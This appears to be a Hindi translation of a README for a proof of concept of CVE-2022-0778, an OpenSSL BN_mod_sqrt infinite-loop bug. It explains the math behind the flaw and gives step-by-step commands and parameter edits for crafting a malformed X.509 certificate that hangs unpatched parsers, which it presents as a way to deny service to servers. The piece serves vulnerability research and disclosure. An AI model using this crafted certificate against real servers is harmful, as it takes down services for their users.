
CVE-2022-0778 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो गैर-प्राइम कर्व पैरामीटर वाले क्राफ्टेड X.509 प्रमाणपत्र के माध्यम से OpenSSL के BN_mod_sqrt में अनंत लूप प्रदर्शित करता है, जिससे डिनायल-ऑफ-सर्विस हमले संभव होते हैं।
खोजी गई भेद्यता OpenSSL के BN_mod_sqrt() फ़ंक्शन में एक अनंत लूप ट्रिगर करती है जब यह एक अण्डाकार वक्र कुंजी का विश्लेषण करता है। इसका मतलब है कि एक दुर्भावनापूर्ण रूप से तैयार X.509 प्रमाणपत्र किसी भी अनपैच किए गए सर्वर को DoS कर सकता है।
भेद्यता का मूल संपीड़ित प्रारूप में बिंदुओं वाली EC कुंजियों के विश्लेषण में है: इस प्रकार की कुंजियों को पार्स करते समय, OpenSSL संपीड़ित बिंदु को विस्तारित करने का प्रयास करेगा, उस वक्र के प्राइम p मॉड्यूलो एक वर्गमूल की गणना करने का प्रयास करेगा जिस पर वक्र परिभाषित है। हालांकि, p की अभाज्यता कहीं भी जाँची नहीं जाती, यहाँ तक कि BN_mod_sqrt() में भी नहीं, जिसके लिए यह एक आवश्यकता है; इस प्रकार, कार्यान्वयन में एक बग के कारण अनंत लूप होगा क्योंकि p उम्मीद के अनुसार अभाज्य नहीं है।
मेरे ब्लॉग पर चीनी संस्करण देखें OpenSSL CVE-2022-0778 भेद्यता पुनरुत्पादन और अमान्य प्रमाणपत्र निर्माण
BN_mod_sqrt() के विरुद्ध परीक्षण प्रकाशित करने के लिएशर्त यह है कि gcc और OpenSSL का एक संवेदनशील संस्करण स्थापित हो।
BN_mod_sqrt() में बग के लिए: gcc -o my_bad_sqrt my_bad_sqrt.c -lcrypto के साथ संकलन करें, ./my_bad_sqrt चलाएँ और इसे हमेशा के लिए हैंग होते देखें! :D
प्रमाणपत्र के साथ: कमांड लाइन पर openssl x509 -in certs/cert.der.new -inform DER -text -noout चलाएँ; यह भी हैंग हो जाता है।
फ़ंक्शन BN_mod_sqrt() एक मॉड्यूलर वर्गमूल खोजने के लिए टोनेली-शैंक्स एल्गोरिथ्म को लागू करता है, अर्थात एक पूर्णांक a और एक अभाज्य संख्या p दिए जाने पर, एक मान r लौटाता है जैसे कि r^2 == a (mod p)।
भेद्यता को पैच करने वाले कमिट का विश्लेषण करने पर हम देखते हैं कि अपराधी वह लूप है जो सबसे छोटा सूचकांक i ढूंढता है जिसके लिए b^(2^i)==1 (mod p), जहाँ b को पहले एल्गोरिथ्म में परिभाषित किया गया है।
लूप को इस प्रकार बदला गया है
i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
while (!BN_is_one(t)) {
i++;
if (i == e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
से
for (i = 1; i < e; i++) {
if (i == 1) {
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
} else {
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
if (BN_is_one(t))
break;
}
दूसरे मामले में, चर e द्वारा सीमित एक for लूप है; मूल कोड में हालांकि while लूप के अंदर केवल i==e मामले की जाँच है।
चूंकि ये लूप एक बड़े लूप के अंदर हैं जो प्रत्येक पुनरावृत्ति के लिए e का नया मान i के वर्तमान मान पर सेट करता है, हम निम्नलिखित हमला रणनीति का प्रयास करते हैं:
i=1 हो; इसके लिए, हमें चाहिए कि b^2=1 (mod p)।e=1 होगा, और यदि हम आंतरिक लूप में प्रवेश कर सकते हैं तो i==e जाँच हमेशा विफल रहेगी।t != 1 (mod p) रखने में सफल होते हैं, तो हम लूप में हमेशा के लिए रहेंगे।ध्यान दें कि पहले दो चरण वास्तव में एक "सामान्य" निष्पादन में हो सकते हैं, अर्थात एक अभाज्य p के साथ। हालांकि, यदि p संयुक्त है, तो हम तीसरे चरण को भी संतुष्ट कर सकते हैं!
टोनेली-शैंक्स एल्गोरिथ्म p - 1 = 2^e * q लिखकर काम करता है, एक विषम q के साथ। यह p मॉड्यूलो पूर्णांकों के गुणात्मक समूह का क्रम भी है, और मान e और q को निष्पादन के दौरान कई बार उपयोग किया जाएगा; हालांकि, यदि p अभाज्य नहीं है, तो गुणात्मक समूह का क्रम p-1 नहीं होगा, और यह हमें अनंत लूप में प्रवेश करने में मदद करेगा।
विशेष रूप से, b को b = a^q (mod p) के रूप में आरंभ किया जाता है, जिसका अर्थ है कि यदि p अभाज्य होता, तो b का क्रम 2 की कुछ घात होता, जिसे हम तब लूप का उपयोग करके ढूंढेंगे।
लेकिन यदि हम p = r * s सेट करते हैं, तो गुणात्मक समूह का क्रम (r-1)*(s-1) = r*s - r - s + 1 होता है, न कि r*s-1। एल्गोरिथ्म q मान का उपयोग एक ऐसा अवयव y प्राप्त करने के लिए करता है जिसका क्रम बिल्कुल 2^e है; हालांकि, जब p अभाज्य नहीं है, तो q मान का क्रम के लिए कोई विशेष अर्थ नहीं होगा, इसलिए अवयव y का क्रम p=r*s मॉड्यूलो दो की घात नहीं होगा।
चूंकि पहले बाहरी लूप के अंत में b को b = b*y^(e-i) (mod p) पर सेट किया जाता है, इसके दूसरे पुनरावृत्ति पर आंतरिक लूप एक मान i खोजने का प्रयास करेगा जिसके लिए b^(2^i) == 1 (mod p), लेकिन विफल हो जाएगा क्योंकि y का अब दो की घात होना गारंटी नहीं है।
शोषण में संख्याएँ बहुत सरल हैं: हम r=17, s=41 लेते हैं, जो p=r*s=697 देता है। इसका मतलब है कि e और q के परिकलित मान p-1 = 2^3 * 87 होंगे।
हम तब a=696 चुनते हैं, जिसका अर्थ है कि a == -1 (mod p) और आरंभ करने पर b == -1 (mod p) भी। यह e=1 सेट करके अगले बाहरी लूप के लिए चरण 1 को संतुष्ट करेगा।
फिर b को एक ऐसे अवयव पर सेट किया जाएगा जिसका क्रम 2 की घात नहीं है, और आंतरिक लूप एक i खोजने का प्रयास करते हुए फंस जाएगा जिसके लिए b^(2^i)==1 (mod p)।
ठीक है, अब चलिए एक खतरनाक प्रमाणपत्र तैयार करते हैं जिसमें संपीड़ित रूप में एन्कोडेड आधार बिंदु के साथ अमान्य स्पष्ट वक्र पैरामीटर हों।
इस अनुभाग की फ़ाइलें certs फ़ोल्डर में हैं।
पहले, हमें एक EC निजी कुंजी बनाने की आवश्यकता है। क्योंकि हम स्पष्ट वक्र पैरामीटर वाला एक लक्ष्य प्रमाणपत्र चाहते हैं, इसलिए कुंजी में भी स्पष्ट वक्र पैरामीटर होने चाहिए।
$ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed
फिर, सुविधा के लिए, हमने एक स्व-हस्ताक्षरित प्रमाणपत्र बनाया और इसे DER प्रारूप में आउटपुट किया।
$ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"
आइए प्रमाणपत्र जानकारी देखें। इसमें अपेक्षित स्पष्ट वक्र पैरामीटर हैं।
$ openssl x509 -in cert.der -text -noout -inform DER
...
Field Type: prime-field
Prime:
00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff
A:
00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:fc
B:
5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
60:4b
Generator (compressed):
03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
98:c2:96
Order:
00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
63:25:51
...
अब हमें इन पैरामीटरों के मानों को संशोधित करने की आवश्यकता है: Prime, A, B, Generator। वे नीचे दिए गए समीकरण को संतुष्ट करते हैं
जहाँ p Prime है, a पैरामीटर A है, और b पैरामीटर B है। p, a, b एक साथ एक वक्र निर्धारित करते हैं। एक बिंदु को अनकंप्रेस करने का अर्थ है संबंधित X निर्देशांक से Y निर्देशांक की गणना करना।
स्पष्ट रूप से, मॉड्यूलर वर्गमूल संक्रिया का उपयोग किया जाना चाहिए, जो BN_mod_sqrt() को कॉल करेगी।
drago-96 के काम के आधार पर, हम p=697, x^3+ax+b=696 लेते हैं। और फिर हमें केवल उपयुक्त a, b, x चुनने की आवश्यकता है जो दूसरे समीकरण को संतुष्ट करते हैं। हम यहाँ x=8, a=23, b=0 लेते हैं।
ठीक है, अब हम प्रमाणपत्र में हेरफेर करना शुरू कर सकते हैं। ASN.1 संरचना को मैन्युअल रूप से संपादित करना वास्तव में भयानक है। मैंने प्रमाणपत्र को हेक्स प्रारूप में बदलने के लिए xxd उपकरण का उपयोग किया, और फिर इसे vim से संपादित किया। संपादन पूरा करने के बाद, xxd -r के साथ इसे वापस बदल दिया।
$ cp cert.der cert.der.old
$ xxd cert.der cert.der.hex
$ cp cert.der.hex cert.der.hex.old
$ vim cert.der.hex
# edit cert.der.hex
# ...
# complete
$ xxd -r cert.der.hex cert.der.new
मुझे इससे अधिक सुविधाजनक कोई उपकरण नहीं मिला। यदि किसी को ऐसा उपकरण पता हो, तो कृपया अपनी टिप्पणियाँ साझा करें।
तैयारी के चरण लगभग इस प्रकार हैं:
ASN1_INTEGER के पैडिंग प्रारूप की जाँच करेगा, इसलिए Prime में अग्रणी 0-बाइट नहीं होने चाहिए, इसलिए हमें Prime की लंबाई बदलनी होगीxxd -r चलाने के बाद फ़ाइल के अंत में एक अवांछित अनुगामी न्यू-लाइन वर्ण (0x0a) हो सकता है। इसे हटा दें।अब, आइए सामान्य प्रमाणपत्र की ASN.1 संरचना पर एक नज़र डालें। लाल रेखा द्वारा चिह्नित भाग वे हैं जिन्हें बदला जाना है।
$ openssl asn1parse -in cert.der -inform DER -i

संशोधन से पहले और बाद की लंबाई निम्नानुसार सूचीबद्ध हैं:
| से(दशमलव) | से(हेक्स) | को(दशमलव) | को(हेक्स) |
|---|---|---|---|
| 549 | 225 | 488 | 1e8 |
| 460 | 1cc | 399 | 18f |
| 266 | 10a | 205 | cd |
| 227 | e3 | 166 | a6 |
| 215 | d7 | 154 | 9a |
| 44 | 2c | 13 | 0d |
| 33 Prime | 21 | 2 | 02 |
| 33 Generator | 21 | 3 | 03 |
अद्यतनित 2020-03-21:
एक बहुत आसान तरीका wllm-rbnt द्वारा लिखे गए उपकरण asn1template का उपयोग करना है।
रिपॉजिटरी क्लोन करें:
$ git clone https://github.com/wllm-rbnt/asn1template.git
इस प्रमाणपत्र से एक DER टेम्पलेट उत्पन्न करें:
$ ./asn1template/asn1template.pl cert.der > cert.tpl
फिर ऊपर उल्लिखित पैरामीटर बदलें:
diff cert.tpl cert_new.tpl
46c46
< field32 = FORMAT:HEX,OCTETSTRING:036B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
---
> field32 = FORMAT:HEX,OCTETSTRING:030008
51c51
< field36 = INTEGER:0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
---
> field36 = INTEGER:0x2B9
53,54c53,54
< field37 = FORMAT:HEX,OCTETSTRING:FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
< field38 = FORMAT:HEX,OCTETSTRING:5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
---
> field37 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000017
> field38 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000000
ASN1_generate_nconf(3) के साथ इसे वापस DER एन्कोडेड ASN1 में कनवर्ट करें:
$ openssl asn1parse -genconf cert_new.tpl -noout -out cert_new.der
आउटपुट cert_new.der मैन्युअल रूप से संपादित संस्करण के समतुल्य है।
तो अब हमने सफलतापूर्वक एक अमान्य प्रमाणपत्र तैयार किया है। आइए नई ASN.1 संरचना देखें
$ openssl asn1parse -in cert.der.new -inform DER -i

सभी लाल भाग संशोधित हो गए हैं, और प्रमाणपत्र DER डीकोड सही ढंग से किया जा सकता है।
अब प्रमाणपत्र को पार्स करने का प्रयास करते हैं। यदि सब कुछ उम्मीद के अनुसार है तो प्रक्रिया अनंत लूप में चली जाएगी।
openssl x509 -in cert.der.new -inform DER -text -noout

जैसा कि दिखाया गया है, openssl प्रक्रिया का %CPU 100 है, और कॉल स्टैक BN_mod_sqrt() के अंदर है।
यदि कोई दुर्भावनापूर्ण हमलावर सर्वर के साथ SSL हैंडशेक करते समय ऐसा तैयार प्रमाणपत्र भेजता है, तो सर्वर अनंत लूप में चला जाएगा जिससे DoS हमला होगा।
हम OpenSSL C libcrypto लाइब्रेरी का उपयोग करके एक प्रमाणपत्र तैयार करने का प्रयास करेंगे।
जैसा कि हमने देखा, हमें गैर-अभाज्य आधार क्षेत्र वाले वक्र का उपयोग करने और बिंदुओं को संपीड़ित रूप में एन्कोड करने की आवश्यकता होती है, ताकि पार्स करते समय हम BN_mod_sqrt() में बग को हिट करें।
यह वक्र y^2 = x^3 + 1*x + 694 (mod 697) को (1, 132) जनरेटर के रूप में सेट करके किया जा सकता है; यह BN_mod_sqrt() को my_bad_sqrt के समान पैरामीटर के साथ कॉल करेगा।
gcc -o my_bad_group my_bad_group.c -lcrypto && ./my_bad_group चलाने से my_bad_group.der फ़ाइल उत्पन्न होगी जिसमें DER प्रारूप में ECparams होंगे।
उन पैरामीटर्स को OpenSSL से पार्स करने का प्रयास करने पर अनंत लूप लगेगा: openssl ecparam -in my_bad_group.der -inform der।
... कार्य प्रगति पर ...